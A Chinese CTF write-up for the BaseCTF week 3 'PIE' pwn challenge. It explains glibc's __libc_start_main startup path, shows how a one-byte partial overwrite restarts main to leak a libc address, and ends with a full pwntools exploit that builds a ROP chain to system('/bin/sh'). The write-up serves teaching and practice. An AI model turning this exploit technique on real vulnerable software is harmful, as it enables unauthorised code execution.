BaseCTF week3 PWN PIE

前置知识

  1. PIE的概念

  2. 有关__libc_start_main的文章

不过其实就算没看懂这篇文章问题也不大,只要是题目做多了的话都能知道一点就是,正常gcc编译出来的elf程序都会经历一个_start__libc_start_main的过程。

这个阶段在程序里体现为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00000000000010A0                 public _start
.text:00000000000010A0 _start proc near ; DATA XREF: LOAD:0000000000000018↑o
.text:00000000000010A0 ; __unwind {
.text:00000000000010A0 endbr64
.text:00000000000010A4 xor ebp, ebp
.text:00000000000010A6 mov r9, rdx ; rtld_fini
.text:00000000000010A9 pop rsi ; argc
.text:00000000000010AA mov rdx, rsp ; ubp_av
.text:00000000000010AD and rsp, 0FFFFFFFFFFFFFFF0h
.text:00000000000010B1 push rax
.text:00000000000010B2 push rsp ; stack_end
.text:00000000000010B3 xor r8d, r8d ; fini
.text:00000000000010B6 xor ecx, ecx ; init
.text:00000000000010B8 lea rdi, main ; main
.text:00000000000010BF call cs:__libc_start_main_ptr
.text:00000000000010C5 hlt
.text:00000000000010C5 ; } // starts at 10A0
.text:00000000000010C5 _start endp

这段部分如果翻源码可以发现其实是直接用汇编写的。我们只需要关注一个点,执行__libc_start_main的时候rdi寄存器里存的是main的地址

紧接着我们来看看__libc_start_main,但是这个程序很长,我们只关注部分:

1
2
3
4
5
.text:0000000000029E33 loc_29E33:                              ; CODE XREF: __libc_start_main+124↓j
.text:0000000000029E33 mov rdx, r12
.text:0000000000029E36 mov esi, ebp
.text:0000000000029E38 mov rdi, r13
.text:0000000000029E3B call sub_29D10

call了一个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
.text:0000000000029D10 ; void __fastcall __noreturn sub_29D10(unsigned int (__fastcall *)(_QWORD, __int64, char **), unsigned int, __int64)
.text:0000000000029D10 sub_29D10 proc near ; CODE XREF: __libc_start_main+7B↓p
.text:0000000000029D10
.text:0000000000029D10 var_90 = qword ptr -90h
.text:0000000000029D10 var_84 = dword ptr -84h
.text:0000000000029D10 var_80 = qword ptr -80h
.text:0000000000029D10 var_78 = byte ptr -78h
.text:0000000000029D10 var_30 = qword ptr -30h
.text:0000000000029D10 var_28 = qword ptr -28h
.text:0000000000029D10 var_10 = qword ptr -10h
.text:0000000000029D10
.text:0000000000029D10 ; __unwind {
.text:0000000000029D10 push rax
.text:0000000000029D11 pop rax
.text:0000000000029D12 sub rsp, 98h
.text:0000000000029D19 mov [rsp+98h+var_90], rdi <-- 1
.text:0000000000029D1E lea rdi, [rsp+98h+var_78] ; env
.text:0000000000029D23 mov [rsp+98h+var_84], esi
.text:0000000000029D27 mov [rsp+98h+var_80], rdx
.text:0000000000029D2C mov rax, fs:28h
.text:0000000000029D35 mov [rsp+98h+var_10], rax
.text:0000000000029D3D xor eax, eax
.text:0000000000029D3F call _setjmp
.text:0000000000029D44 endbr64
.text:0000000000029D48 test eax, eax
.text:0000000000029D4A jnz short loc_29D97
.text:0000000000029D4C mov rax, fs:300h
.text:0000000000029D55 mov [rsp+98h+var_30], rax
.text:0000000000029D5A mov rax, fs:2F8h
.text:0000000000029D63 mov [rsp+98h+var_28], rax
.text:0000000000029D68 lea rax, [rsp+98h+var_78]
.text:0000000000029D6D mov fs:300h, rax
.text:0000000000029D76 mov rax, cs:environ_ptr
.text:0000000000029D7D mov edi, [rsp+98h+var_84]
.text:0000000000029D81 mov rsi, [rsp+98h+var_80]
.text:0000000000029D86 mov rdx, [rax]
.text:0000000000029D89 mov rax, [rsp+98h+var_90] <-- 2
.text:0000000000029D8E call rax <-- 3
.text:0000000000029D90 mov edi, eax
.text:0000000000029D92
.text:0000000000029D92 loc_29D92: ; CODE XREF: sub_29D10+AA↓j
.text:0000000000029D92 call exit
...

其实这个函数就是pwndbg里显示的__libc_start_call_main。关注标注出来的几行可以发现rdi最后是被传入rax后被call了,才正式进入了main函数开始执行程序流程。换个角度来看,main函数的返回地址就是mov edi,eax那一行,紧接着就exit了。

BaseCTF week3 PIE题目分析

题目其实非常简单,也很简短。开了PIE保护。

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

init(argc, argv, envp);
read(0, buf, 0x200uLL);
printf("you said %s", buf);
return 0;
}

一个溢出,一次打印。问题在于这题既没有后门,也没有说把溢出放在一个子函数里,而是放在了main函数,那就导致了其返回地址是一个libc地址,没法直接部分写返回main。因为只有一次机会,没法做到同时泄露地址又写进去一个地址,所以也只有可能用部分写了。所以考虑用ret2__libc_start_main来重启main函数。

一开始调试看到返回地址是__libc_start_call_main+128(0x29D90),所以就想着我要不直接把那个地址减去108,然后填回去(0x29D10),刚好只有最后一个字节改变了。但是发现打不通,最后会卡在movaps。然后尝试绕过第一个push指令,还是不行,rax是非法地址。

然后尝试填__libc_start_main的首地址(0x29DC0),依然是上面两个问题。所以我就打开libc文件来看汇编了,发现__libc_start_call_main这个函数前半部分基本上都是在进行寄存器状态的保存。后面尝试了几次发现最后一个字节从1e到89都是可以用来打通的。所以开始找原因,于是就有了上面前置知识那样的分析。

其实最大的问题也就发生在那个rdi身上,如果他存着main的函数地址,那么main是可以被正常启动的。但是很显然程序不会无缘无故把main函数存到rdi里。所以如果跳过保存rdi到栈上那一步就能够正常运行了。

能正常运行意味着,栈上对应位置确实存着main的函数地址,这是怎么回事呢?我们动调看看。

栈还原

程序从rsp+8处取main地址,栈刚好满足。这是因为main函数执行之前就存在过__libc_start_main函数的栈帧,而main函数正常返回也会回到这个栈帧里来。换句话说,只要我在之前的操作中没有破坏到这个地方,那么函数就能正常从栈中取到main地址,从而实现重启main函数。

那这道题下面就很简单,因为可以实现重启main,那我们就可以利用第一次printf覆盖\x00带出libc地址,然后获取libc基址,第二次回到main函数的时候再ROP执行binsh即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
# r = remote('challenge.basectf.fun', 35787)
r = process('./vuln')
# e = ELF('./vuln')
# context.log_level = 'debug'
libc = ELF('./libc.so.6')

payload = b'a'*0x108+b'\x1e'
# gdb.attach(r, 'b *$rebase(0x123e)')
# pause()
r.send(payload)

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x29d1e
print(hex(libc_base))
rdi = libc_base+0x2a3e5
ret = libc_base+0x29139
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

payload = b'a'*0x108+p64(rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr)
r.sendline(payload)
r.interactive()


r.interactive()
⬆︎TOP